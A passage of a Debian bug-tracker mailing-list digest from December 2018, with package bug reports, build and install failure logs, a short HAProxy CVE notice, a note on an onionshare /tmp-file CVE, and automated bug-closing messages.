/usr/share/doc/python3-psycopg2-dbg/copyright (python3-psycopg2-dbg) != /usr/share/doc/python3-psycopg2/copyright (python3-psycopg2) /usr/share/doc/python3-psycopg2-dbg -> python3-psycopg2 cheers, Andreas python-psycopg2-dbg_2.7.6.1-2.log.gz Description: application/gzip
Bug#916308: haproxy: CVE-2018-20102
Source: haproxy Version: 1.8.14-1 Severity: grave Tags: patch security upstream Hi, The following vulnerability was published for haproxy, the RC severity might be not correct, but trying to be on safe side here. CVE-2018-20102[0]: | An out-of-bounds read in dns_validate_dns_response in dns.c was | discovered in HAProxy through 1.8.14. Due to a missing check when | validating DNS responses, remote attackers might be able read the 16 | bytes corresponding to an record from the non-initialized part of | the buffer, possibly accessing anything that was left on the stack, or | even past the end of the 8193-byte buffer, depending on the value of | accepted_payload_size. If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-20102 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20102 [1] http://git.haproxy.org/?p=haproxy.git;a=commit;h=efbbdf72992cd20458259962346044cafd9331c0 Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#907518: [RFC] Disable TLSv1.0 by default, but allow enabling it
On 05/12/2018 09:52, Andrej Shadura wrote: > On 05/12/2018 00:09, Jouni Malinen wrote: > Right, so what would you recommend for me to do in the meanwhile? > Hardcode a minimal version just for wpa-supplicant to TLSv1.0? What > about ciphers? Anything else? I would really appreciate some opinion from Jouni or other people on this list. -- Cheers, Andrej
Bug#916305: twms: fails to install: SyntaxError in /usr/share/twms/tools/compile_correction.py
Package: twms
Version: 0.06y-2
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts
Hi,
during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.
>From the attached log (scroll to the bottom...):
Setting up python3 (3.7.1-2) ...
File "/usr/share/twms/tools/compile_correction.py", line 40
print("%s %s %s %s %s %s"%
(curway[0][0],curway[0][1],curway[1][0],curway[1][1], user, ts, file=corr)
^
SyntaxError: invalid syntax
error running python rtupdate hook twms
dpkg: error processing package python3 (--configure):
installed python3 package post-installation script subprocess returned error
exit status 4
cheers,
Andreas
twms_0.06y-2.log.gz
Description: application/gzip
Bug#916304: oar-{node,restful-api,server,web-status}: fails to install: Error: The new file [...] does not exist!
Package: oar-node,oar-restful-api,oar-server,oar-web-status Version: 2.5.8~rc8-2 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, during a test with piuparts I noticed your package failed to install. As per definition of the release team this makes the package too buggy for a release, thus the severity. >From the attached log (scroll to the bottom...): Setting up oar-node (2.5.8~rc8-2) ... Error: The new file /usr/share/oar/oar-server/epilogue does not exist! dpkg: error processing package oar-node (--configure): installed oar-node package post-installation script subprocess returned error exit status 1 Setting up oar-restful-api (2.5.8~rc8-2) ... Error: The new file /usr/share/oar/oar-server/apache2.conf does not exist! dpkg: error processing package oar-restful-api (--configure): installed oar-restful-api package post-installation script subprocess returned error exit status 1 Setting up oar-server (2.5.8~rc8-2) ... Error: The new file /usr/share/oar/oar-common/job_resource_manager.pl does not exist! dpkg: error processing package oar-server (--configure): installed oar-server package post-installation script subprocess returned error exit status 1 Setting up oar-web-status (2.5.8~rc8-2) ... Error: The new file /usr/share/oar/oar-server/apache.conf does not exist! dpkg: error processing package oar-web-status (--configure): installed oar-web-status package post-installation script subprocess returned error exit status 1 cheers, Andreas oar-node_2.5.8~rc8-2.log.gz Description: application/gzip
Bug#868743: marked as done (gutenprint sometimes FTBFS on mips64el: check-TESTS killed with signal TERM after 150 minutes of inactivity)
Your message dated Wed, 12 Dec 2018 20:39:18 + with message-id and subject line Bug#868743: fixed in gutenprint 5.3.1-6 has caused the Debian Bug report #868743, regarding gutenprint sometimes FTBFS on mips64el: check-TESTS killed with signal TERM after 150 minutes of inactivity to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 868743: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868743 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: gutenprint Version: 5.2.13-1 Severity: serious https://buildd.debian.org/status/fetch.php?pkg=gutenprint=mips64el=5.2.13-1=1500347072=0 ... Making check in cups make[4]: Entering directory '/<>/src/cups' make check-TESTS make[5]: Entering directory '/<>/src/cups' make[6]: Entering directory '/<>/src/cups' E: Build killed with signal TERM after 150 minutes of inactivity --- End Message --- --- Begin Message --- Source: gutenprint Source-Version: 5.3.1-6 We believe that the bug you reported is fixed in the latest version of gutenprint, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 868...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Didier Raboud (supplier of updated gutenprint package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Wed, 12 Dec 2018 20:28:23 +0100 Source: gutenprint Binary: gimp-gutenprint printer-driver-gutenprint libgutenprint-dev libgutenprint-doc libgutenprint9 libgutenprint-common libgutenprintui2-dev libgutenprintui2-2 gutenprint-locales escputil gutenprint-doc Architecture: source Version: 5.3.1-6 Distribution: unstable Urgency: medium Maintainer: Debian Printing Group Changed-By: Didier Raboud Description: escputil - maintenance utility for Epson Stylus printers gimp-gutenprint - print plugin for the GIMP gutenprint-doc - users' guide for Gutenprint and CUPS gutenprint-locales - locale data files for Gutenprint libgutenprint-common - support files for the Gutenprint printer driver library libgutenprint-dev - development files for the Gutenprint printer driver library libgutenprint-doc - documentation for the Gutenprint printer driver library libgutenprint9 - runtime for the Gutenprint printer driver library libgutenprintui2-2 - runtime for the Gutenprint printer driver user interface library libgutenprintui2-dev - development files for the Gutenprint printer driver user interfac printer-driver-gutenprint - printer drivers for CUPS Closes: 868743 Changes: gutenprint (5.3.1-6) unstable; urgency=medium . * Run tests with custom verbose log driver (Closes: #868743) Checksums-Sha1: e4c38528711263f99293a170e8d0dbf9d7d3fb6e 2691 gutenprint_5.3.1-6.dsc 15b9e716a18e054d3705bc274260ed31aa4756d9 94892 gutenprint_5.3.1-6.debian.tar.xz 494209a88095775d1f4c8bd88579a1d1c5d8ce73 13244 gutenprint_5.3.1-6_source.buildinfo Checksums-Sha256: ef4e19924240ff32c57ba668d9166a94c0dea99a3bcfdcbff301a7999561a44f 2691 gutenprint_5.3.1-6.dsc fafc297968bff9e0281a18b817274f4a15e73958474ca39291ac4a432562e8a4 94892 gutenprint_5.3.1-6.debian.tar.xz fd21ae50f0bf268fb30be835d532976e79bfc3499e1d88f31696924e938fae54 13244 gutenprint_5.3.1-6_source.buildinfo Files: 732dab201b5a5d642cbcb1370d0f78a1 2691 graphics optional gutenprint_5.3.1-6.dsc 8779cfc148a92d03af7d449cbeda69fa 94892 graphics optional gutenprint_5.3.1-6.debian.tar.xz a55a91fa4017827f0740380e4e02dc6f 13244 graphics optional gutenprint_5.3.1-6_source.buildinfo -BEGIN PGP SIGNATURE- iQGzBAEBCgAdFiEEe+WPIRpjNw1/GSB7i8+nHsoWNFUFAlwRb+EACgkQi8+nHsoW NFWGogv/bt6QCVXS1O4yBP2R8480yZ2G0INYMbir9JQZeamxLuswRugMqBncfCi7 bkIpAhTowyW+2jIfpl6TUKcauIwiIVRepqkxz0bJZRwprj8g4PjC2poVmvb07Xn0 yK/wXskOltF7Gw8fCPzKWrfms9ogdiaHYrJp+4ZD2YVC6qW9G3xrMdYZBhySwFit aOAoTsjI0OLXa2L3bFzBF/khjl+9q5I1KQYBJ2DARBkkmzFogV+gS2kGYRImE+rB Y01gMyK4J0L/YtLO6L1HV2hfjOooVkrzJEIRrpZotyhvRvpDIjNbzFHRBmpiirls aHxReStJFV6zjwkvJrJ2Hbwi4GJeM38ccJfnRds2KFBV9IgZp/FByQrvdFxobqyq ivKJ7KU8Be1FI8yG6rWAf7OdfCqm5rj0glUK0zrX4KPquWPzALB1Bo448G0ImmKW GWov1ZCkzFq3hGNeN01x93zY8DlmBM8dUZAk/xN5nT+9aDxiOugiv5Dd4quZg1uw qNRgxrzl =BnM0 -END PGP SIGNATURE End Message ---
Bug#916302: openjdk-12-jre-headless: modifies shipped file: /usr/lib/jvm/java-12-openjdk-amd64/lib/server/classes.jsa
Package: openjdk-12-jre-headless Version: 12~23-3 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, during a test with piuparts I noticed your package modifies files from this or another package in /usr. This is so wrong, I'm not even bothered to look up the part of policy this violates ;-P >From the attached log (scroll to the bottom...): 0m34.2s ERROR: FAIL: debsums reports modifications inside the chroot: /usr/lib/jvm/java-12-openjdk-amd64/lib/server/classes.jsa cheers, Andreas openjdk-12-jre-headless_12~23-3.log.gz Description: application/gzip
Processed: po2oo unusable
Processing control commands: > severity -1 normal Bug #916287 [translate-toolkit] po2oo unusable Severity set to 'normal' from 'grave' -- 916287: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916287 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916287: po2oo unusable
Control: severity -1 normal the error message doesn't tell where the problem is. After downgrading it doesn't work too. So I test it with a new template. Then it works. -- Mechtilde Stehmann ## PGP encryption welcome ## F0E3 7F3D C87A 4998 2899 39E7 F287 7BBA 141A AD7F signature.asc Description: OpenPGP digital signature
Bug#916292: pyfai FTBFS on i386: test failures
Source: pyfai
Version: 0.16.0+dfsg1-2
Severity: serious
Tags: ftbfs
https://buildd.debian.org/status/fetch.php?pkg=pyfai=i386=0.16.0%2Bdfsg1-2=1540775253=0
...
==
FAIL: test_dot16 (pyFAI.test.test_openCL.TestKahan)
--
Traceback (most recent call last):
File
"/<>/pyfai-0.16.0+dfsg1/.pybuild/cpython2_2.7_pyfai/build/pyFAI/test/test_openCL.py",
line 456, in test_dot16
self.assertEqual(ref64, res)
AssertionError: 1431655765.0 != 1431655808.0
Stderr:
WARNING:silx.opencl.common:Last chance to get an OpenCL device ... probably not
the one requested
==
FAIL: test_kahan (pyFAI.test.test_openCL.TestKahan)
--
Traceback (most recent call last):
File
"/<>/pyfai-0.16.0+dfsg1/.pybuild/cpython2_2.7_pyfai/build/pyFAI/test/test_openCL.py",
line 375, in test_kahan
self.assertEqual(ref64, res)
AssertionError: 67108863.0 != 67108864.0
Stderr:
WARNING:silx.opencl.common:Last chance to get an OpenCL device ... probably not
the one requested
==
...
Ran 255 tests in 112.925s
FAILED (failures=2, skipped=70)
E: pybuild pybuild:338: test: plugin custom failed with: exit code=1:
PYTHONPATH=/<>/pyfai-0.16.0+dfsg1/.pybuild/cpython2_2.7_pyfai/build
http_proxy='127.0.0.1:9' PYFAI_TESTIMAGES=testimages
PYFAI_DATA=/<>/pyfai-0.16.0+dfsg1 xvfb-run -a --server-args="-screen
0 1024x768x24" python2.7 ./run_tests.py --low-mem --installed
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make[1]: *** [debian/rules:28: override_dh_auto_test] Error 25
Bug#916291: soapsnp: missing build dependency on zlib1g-dev
Source: soapsnp Version: 1.03-2 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/soapsnp.html ... g++ -g -O2 -ffile-prefix-map=/build/1st/soapsnp-1.03=. -fstack-protector-strong -Wformat -Werror=format-security -g -O2 -ffile-prefix-map=/build/1st/soapsnp-1.03=. -fstack-protector-strong -Wformat -Werror=format-security -fomit-frame-pointer -O3 -ffast-math -funroll-loops call_genotype.o chromosome.o matrix.o normal_dis.o prior.o rank_sum.o main.o -o soapsnp -lz -Wl,-z,relro -Wl,-z,now /usr/bin/ld: cannot find -lz collect2: error: ld returned 1 exit status make[1]: *** [makefile:14: soapsnp] Error 1
Bug#916287: po2oo unusable
Package: translate-toolkit
Version: 2.3.1-2
Severity: grave
I try to convert *.po files from Pootle to *.sdf files
It fails with error message:
Traceback (most recent call last):
File "/usr/bin/po2oo", line 11, in
load_entry_point('translate-toolkit==2.3.1', 'console_scripts',
'po2oo')()
File "/usr/lib/python3/dist-packages/translate/convert/po2oo.py", line
264, in main
parser.run(argv)
File "/usr/lib/python3/dist-packages/translate/convert/convert.py",
line 181, in run
self.recursiveprocess(options)
File "/usr/lib/python3/dist-packages/translate/convert/convert.py",
line 422, in recursiveprocess
self.templatearchive = self.openarchive(options.template, 'template')
File "/usr/lib/python3/dist-packages/translate/convert/convert.py",
line 312, in openarchive
return archiveclass(archivefilename, **archiveoptions)
File "/usr/lib/python3/dist-packages/translate/storage/oo.py", line
360, in __init__
self.createsubfileindex()
File "/usr/lib/python3/dist-packages/translate/storage/oo.py", line
366, in createsubfileindex
subfile = self.getsubfilename(line)
File "/usr/lib/python3/dist-packages/translate/storage/oo.py", line
375, in getsubfilename
raise ValueError("invalid tab-delimited line: %r" % line)
ValueError: invalid tab-delimited line: '#\n'
This still worked at 2018-12-07 in Testing
I use daily updated testing system
I will try to downgrade to version 2.3.1-1 now
Kind regards
--
Mechtilde Stehmann
## Debian Developer
## Loook, tbsync, libreoffice-canzeley-client
## PGP encryption welcome
## F0E3 7F3D C87A 4998 2899 39E7 F287 7BBA 141A AD7F
signature.asc
Description: OpenPGP digital signature
Bug#916286: traverso: baseline violation on i386
Source: traverso Version: 0.49.4-2 Severity: serious SSE is not part of the i386 baseline. Even worse is that when built on binet -m3dnow is passed on gcc, this is not supported by any modern CPU.
Bug#909502: marked as done (libbio-tools-run-alignment-tcoffee-perl: FTBFS (test failures) with t-coffee 11.00.8cbe486-7)
Your message dated Wed, 12 Dec 2018 17:11:20 + with message-id and subject line not our bug has caused the Debian Bug report #909502, regarding libbio-tools-run-alignment-tcoffee-perl: FTBFS (test failures) with t-coffee 11.00.8cbe486-7 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 909502: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=909502 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: libbio-tools-run-alignment-tcoffee-perl Version: 1.7.4-1 Severity: serious Tags: sid buster Justification: fails to build from source -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 As first seen on ci.debian.net, the upgrade of t-coffee from 11.00.8cbe486-6 to 11.00.8cbe486-7 breaks libbio-tools-run-alignment-tcoffee-perl's test suite: debian/rules override_dh_auto_test make[1]: Entering directory '/build/libbio-tools-run-alignment-tcoffee-perl-1.7.4' mkdir -p /build/libbio-tools-run-alignment-tcoffee-perl-1.7.4/debian/build HOME=/build/libbio-tools-run-alignment-tcoffee-perl-1.7.4/debian/build dh_auto_test make -j4 test TEST_VERBOSE=1 make[2]: Entering directory '/build/libbio-tools-run-alignment-tcoffee-perl-1.7.4' PERL_DL_NONLAZY=1 "/usr/bin/perl" "-MExtUtils::Command::MM" "-MTest::Harness" "-e" "undef *Test::Harness::Switches; test_harness(1, 'blib/lib', 'blib/arch')" t/*.t t/00-compile.t ... 1..1 ok 1 - Bio/Tools/Run/Alignment/TCoffee.pm loaded ok ok t/author-eol.t ... skipped: these tests are for testing by the author t/author-mojibake.t .. skipped: these tests are for testing by the author t/author-no-tabs.t ... skipped: these tests are for testing by the author t/author-pod-coverage.t .. skipped: these tests are for testing by the author t/author-pod-syntax.t skipped: these tests are for testing by the author * *FULL TRACE BACK PID: 2227 2243 -- ERROR: COREDUMP: T-COFFEE Version_11.00.8cbe486 (2014-08-12 22:05:29 - Revision 8cbe486 - Build 477) * ** * Abnormal Termination * Job NOT Completed:[T-COFFEE, Version_11.00.8cbe486] * Please CHECK: * -1 The format of your Input Files * -2 The parameters * -3 The use of special characters in sequence names: *(@, |, %...) * -4 The Online Doc (http://www.tcoffee.org) * -5 re-run your CL (see below) with tze -debug option. This will produce a debug file you can send us. * * NO * to: * cedric.notred...@gmail.com * If you run T-Coffee over the WEB: * Windows Cut and Paste is sometimes erratic and * it can loose carriage returns. If you suspect this, * try to cut and paste through an intermediate application * (word pad) and inspect the results * CONFIDENTIALITY: * The File NO may contain your personal DATA * Remove ALL confidential DATA from this file BEFORE sending it ** # Command Line: /usr/bin/t_coffee -profile otOrqlTVt8 -seq g5USs5RIgV -matrix blosum -method lalign_id_pair clustalw_pair -ktuple 3 -outfile /tmp/McVdzikYRh/smBiz31aXb -output clustalw -quiet [PROGRAM:T-COFFEE] # TERMINATION STATUS: FAILURE [PROGRAM: T-COFFEE pid 2227 ppid 2133 #CL: /usr/bin/t_coffee -profile otOrqlTVt8 -seq g5USs5RIgV -matrix blosum -method lalign_id_pair clustalw_pair -ktuple 3 -outfile /tmp/McVdzikYRh/smBiz31aXb -output clustalw -quiet # Failed test at t/TCoffee.t line 74. # died: # - EXCEPTION - # MSG: TCoffee call crashed: 256 [command /usr/bin/t_coffee -profile=otOrqlTVt8 -seq=g5USs5RIgV -matrix=blosum -method=lalign_id_pair,clustalw_pair -ktuple=3 -outfile=/tmp/McVdzikYRh/smBiz31aXb -output=clustalw -quiet] # # STACK Bio::Root::RootI::warn /usr/share/perl5/Bio/Root/RootI.pm:150 # STACK Bio::Tools::Run::Alignment::TCoffee::_run /build/libbio-tools-run-alignment-tcoffee-perl-1.7.4/blib/lib/Bio/Tools/Run/Alignment/TCoffee.pm:272 # STACK
Bug#914034: bug in Net::SSLeay?
Hello,
I've investigated a little bit this problem, and I wonder if this could
be caused by a bug in Net::SSLeay 1.85 which seems to be resolved in
version 1.86_06 (not yet released on CPAN) via
https://github.com/radiator-software/p5-net-ssleay/pull/56/commits/f67e75f2b50fa72da9a5111abc13b2bd06d33650.
For the record, here's a debugging session of the
"LWP::UserAgent->new->post("https://facebook.com;, { data => "foo" }) or
die" command:
root@vm-cyrille-debian:~# perl -d -MLWP::UserAgent -e
'LWP::UserAgent->new->post("https://facebook.com;, { data => "foo" }) or
die'
Loading DB routines from perl5db.pl version 1.53
Editor support available.
Enter h or 'h h' for help, or 'man perldebug' for more help.
main::(-e:1): LWP::UserAgent->new->post("https://facebook.com;, { data
=> "foo" }) or die
DB<1> s
LWP::UserAgent::new(/usr/share/perl5/LWP/UserAgent.pm:23):
23: Carp::croak("Options to LWP::UserAgent should be key/value
pairs, not hash reference")
24: if ref($_[1]) eq 'HASH';
DB<1> c 206
LWP::UserAgent::CODE(0x55d48645fdf0)(/usr/share/perl5/LWP/UserAgent.pm:206):
206: $response = $protocol->request($request, $proxy,
$arg, $size, $self->{timeout}) || die "No response returned by
$protocol";
DB<2> s
LWP::Protocol::http::request(/usr/share/perl5/LWP/Protocol/http.pm:127):
127:my($self, $request, $proxy, $arg, $size, $timeout) = @_;
DB<2> c 377
LWP::Protocol::http::request(/usr/share/perl5/LWP/Protocol/http.pm:377):
377:my $n = $socket->sysread($buf, 1024, length($buf));
DB<3> s
IO::Socket::SSL::sysread(/usr/share/perl5/IO/Socket/SSL.pm:1150):
1150: my $self = shift;
DB<3> c 1109
IO::Socket::SSL::_generic_read(/usr/share/perl5/IO/Socket/SSL.pm:1109):
1109: $SSL_ERROR = $! = undef;
DB<4> v
1106: my $ssl = ${*$self}{_SSL_object} || return;
1107: my $buffer=\$_[2];
1108
1109==> $SSL_ERROR = $! = undef;
1110: my ($data,$rwerr) = $read_func->($ssl, $length);
: while ( ! defined($data)) {
1112: if ( my $err = $self->_skip_rw_error( $ssl, defined($rwerr) ?
$rwerr:-1 )) {
1113: if ($err == $Net_SSLeay_ERROR_SYSCALL) {
1114# OpenSSL 1.1.0c+ : EOF can now result in SSL_read
returning -1
1115: if (not $!) {
DB<4> n
IO::Socket::SSL::_generic_read(/usr/share/perl5/IO/Socket/SSL.pm:1110):
1110: my ($data,$rwerr) = $read_func->($ssl, $length);
DB<4> s
This is where the code "hangs", and $read_func is actually
Net::SSLeay::read
Br,
Cyrille
Bug#916280: typedload: build dependency on mypy is too strict
On Wed, Dec 12, 2018 at 05:12:02PM +0100, Salvo Tomaselli wrote: > You are right that it's not ideal. > > However it is because every single new version of mypy changes > something, so they fix a false positive and fail because I had a "# > type: ignore" tag or they introduce some new false positive. At least the Debian revision part looks clearly wrong. Something like Build-Depends: ..., mypy (>= 0.641), mypy (<< 0.641.1) should in any case be sufficient. > So in practice it never happens that the build works when changing > mypy version, since it runs tests during the build. > Il giorno mer 12 dic 2018 alle ore 16:06 Adrian Bunk > ha scritto: > > > > Source: typedload > > Version: 1.10-2 > > Severity: serious > > > > Build-Depends: ..., mypy (= 0.641-1) > > > > If there is some tight interdependency between typedload and mypy, > > then this should be expressed properly with a set of >= and <= > > dependencies. > > > > In any case a build dependency on the exact Debian revision > > of another package seems far too strict. cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Bug#916280: typedload: build dependency on mypy is too strict
You are right that it's not ideal. However it is because every single new version of mypy changes something, so they fix a false positive and fail because I had a "# type: ignore" tag or they introduce some new false positive. So in practice it never happens that the build works when changing mypy version, since it runs tests during the build. Il giorno mer 12 dic 2018 alle ore 16:06 Adrian Bunk ha scritto: > > Source: typedload > Version: 1.10-2 > Severity: serious > > Build-Depends: ..., mypy (= 0.641-1) > > If there is some tight interdependency between typedload and mypy, > then this should be expressed properly with a set of >= and <= > dependencies. > > In any case a build dependency on the exact Debian revision > of another package seems far too strict. -- Salvo Tomaselli "Io non mi sento obbligato a credere che lo stesso Dio che ci ha dotato di senso, ragione ed intelletto intendesse che noi ne facessimo a meno." -- Galileo Galilei http://ltworf.github.io/ltworf/
Bug#915859: [Pkg-privacy-maintainers] Bug#915859: uses a fixed filename in /tmp
Hi! Salvatore Bonaccorso: > So it will additionally allow potentially denial of service on > multi-user systems. > > Not sure if the grave severity is warranted, though, will leave this > discussion to you both :) Ack, grave sounds a bit grave. > For tracking the issue, I have requested a CVE from MITRE, which got > assigned CVE-2018-19960. Thank you. I've asked upstream to fix it yesterday, and they did. So I'll upload a newer version of onionshare a bit later this week (probably not today though). Cheers! u.
Processed: severity of 868743 is serious, tagging 868743
Processing commands for cont...@bugs.debian.org: > severity 868743 serious Bug #868743 [src:gutenprint] gutenprint sometimes FTBFS on mips64el: check-TESTS killed with signal TERM after 150 minutes of inactivity Severity set to 'serious' from 'important' > tags 868743 + help Bug #868743 [src:gutenprint] gutenprint sometimes FTBFS on mips64el: check-TESTS killed with signal TERM after 150 minutes of inactivity Added tag(s) help. > thanks Stopping processing here. Please contact me if you need assistance. -- 868743: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868743 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: notfound 916197 in libpaper/1.1.26
Processing commands for cont...@bugs.debian.org:
> notfound 916197 libpaper/1.1.26
Bug #916197 {Done: Giuseppe Sacco } [libpaper1] libpaper1:
postrm fails, uses ucf unconditionally
Bug #916198 {Done: Giuseppe Sacco } [libpaper1] [piuparts]
libpaper1 fails to purge: ucf not found
Ignoring request to alter found versions of bug #916197 to the same values
previously set
Ignoring request to alter found versions of bug #916198 to the same values
previously set
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
916197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916197
916198: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916198
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed: notfound 916197 in 1.1.26
Processing commands for cont...@bugs.debian.org:
> notfound 916197 1.1.26
Bug #916197 {Done: Giuseppe Sacco } [libpaper1] libpaper1:
postrm fails, uses ucf unconditionally
Bug #916198 {Done: Giuseppe Sacco } [libpaper1] [piuparts]
libpaper1 fails to purge: ucf not found
Ignoring request to alter found versions of bug #916197 to the same values
previously set
Ignoring request to alter found versions of bug #916198 to the same values
previously set
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
916197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916197
916198: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916198
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#914034: not deadlocking totally though
Hi,
It's not completly hung; It's just that it takes 3 minutes to timeout:
root@vm-cyrille-debian:~# date;perl -MLWP::UserAgent -e
'LWP::UserAgent->new->post("https://facebook.com;, { data => "foo" }) or
die';date
Wed Dec 12 09:28:37 UTC 2018
Wed Dec 12 09:31:42 UTC 2018
Bug#916279: qemu-system-common: Overwrite /usr/share/doc-base/qemu-system-doc without declaring replacement
Package: qemu-system-common Version: 1:3.1+dfsg-1 Severity: serious (Sorry for non-English text, but the output should be self-explainable). /usr/share/doc-base/qemu-system-doc was previously provided by qemu-system-data 1:2.12+dfsg-3 but now it is provided by qemu-system-common. 准备解压 .../15-qemu-system-common_1%3a3.1+dfsg-1_amd64.deb ... 正在解压 qemu-system-common (1:3.1+dfsg-1) 并覆盖 (1:2.12+dfsg-3+b1) ... dpkg: 处理归档 /tmp/apt-dpkg-install-FyVVBs/15-qemu-system-common_1%3a3.1+dfsg-1_amd64.deb (--unpack)时出错： 正试图覆盖 /usr/share/doc-base/qemu-system-doc，它同时被包含于软件包 qemu-system-data 1:2.12+dfsg-3 dpkg-deb: 错误: 粘贴 子进程被信号(断开的管道) 终止了 在处理时有错误发生： /tmp/apt-dpkg-install-FyVVBs/15-qemu-system-common_1%3a3.1+dfsg-1_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) -- Thanks, Boyuan Yang
Bug#916280: typedload: build dependency on mypy is too strict
Source: typedload Version: 1.10-2 Severity: serious Build-Depends: ..., mypy (= 0.641-1) If there is some tight interdependency between typedload and mypy, then this should be expressed properly with a set of >= and <= dependencies. In any case a build dependency on the exact Debian revision of another package seems far too strict.
Bug#916268: marked as done (lastpass-cli: missing build dependency on pkg-config)
Your message dated Wed, 12 Dec 2018 14:31:49 + with message-id and subject line Bug#916268: fixed in lastpass-cli 1.3.1-6 has caused the Debian Bug report #916268, regarding lastpass-cli: missing build dependency on pkg-config to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916268: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916268 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: lastpass-cli Version: 1.3.1-5 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/lastpass-cli.html ... CMake Error at /usr/share/cmake-3.13/Modules/FindPackageHandleStandardArgs.cmake:137 (message): Could NOT find PkgConfig (missing: PKG_CONFIG_EXECUTABLE) Call Stack (most recent call first): /usr/share/cmake-3.13/Modules/FindPackageHandleStandardArgs.cmake:378 (_FPHSA_FAILURE_MESSAGE) /usr/share/cmake-3.13/Modules/FindPkgConfig.cmake:39 (find_package_handle_standard_args) CMakeLists.txt:8 (find_package) --- End Message --- --- Begin Message --- Source: lastpass-cli Source-Version: 1.3.1-6 We believe that the bug you reported is fixed in the latest version of lastpass-cli, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Chris Lamb (supplier of updated lastpass-cli package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 14:40:27 +0100 Source: lastpass-cli Binary: lastpass-cli Architecture: source amd64 Version: 1.3.1-6 Distribution: unstable Urgency: medium Maintainer: Chris Lamb Changed-By: Chris Lamb Description: lastpass-cli - command line interface to LastPass.com Closes: 916268 Changes: lastpass-cli (1.3.1-6) unstable; urgency=medium . * Add debian/gbp.conf. * Add missing pkg-config to Build-Depends. (Closes: #916268) Checksums-Sha1: e925b40a98b4fd6ba04231ac6ea6aafa3a298e32 2041 lastpass-cli_1.3.1-6.dsc d8253d610f372ccda660f0987eac0754f0fd1e63 5052 lastpass-cli_1.3.1-6.debian.tar.xz 90b6e61eab8276254a420c75452c39d87f1ff064 252088 lastpass-cli-dbgsym_1.3.1-6_amd64.deb a9c457c35b2b19d7f0c0e3e75eb0b5c9d9320218 7257 lastpass-cli_1.3.1-6_amd64.buildinfo aa0568643c0cf7e974fa9e1fc38ee7638a1203e8 89268 lastpass-cli_1.3.1-6_amd64.deb Checksums-Sha256: 6d8ede3e3ecab9972bb91568cdbd96053b27545503f75129418d287b24d510e3 2041 lastpass-cli_1.3.1-6.dsc fa731ad68a33427b645ec9fc8a3fb3e94ba043c61dc85b588877c6f8d9a304c0 5052 lastpass-cli_1.3.1-6.debian.tar.xz 47aea3d32eae5c8bd440529cd688f9db9decbd4e220328714ed2b5775ac90a0c 252088 lastpass-cli-dbgsym_1.3.1-6_amd64.deb 18c20088a199074328e02ef9349a8d6bb59eae03be9630f553f8e983e1bad27d 7257 lastpass-cli_1.3.1-6_amd64.buildinfo b19ccbf2a728738c8dc42e95015371f35bc8d7cf3d537139082a8ea0a796978c 89268 lastpass-cli_1.3.1-6_amd64.deb Files: 47fa587f61f05b427cbc8783d009afd8 2041 utils optional 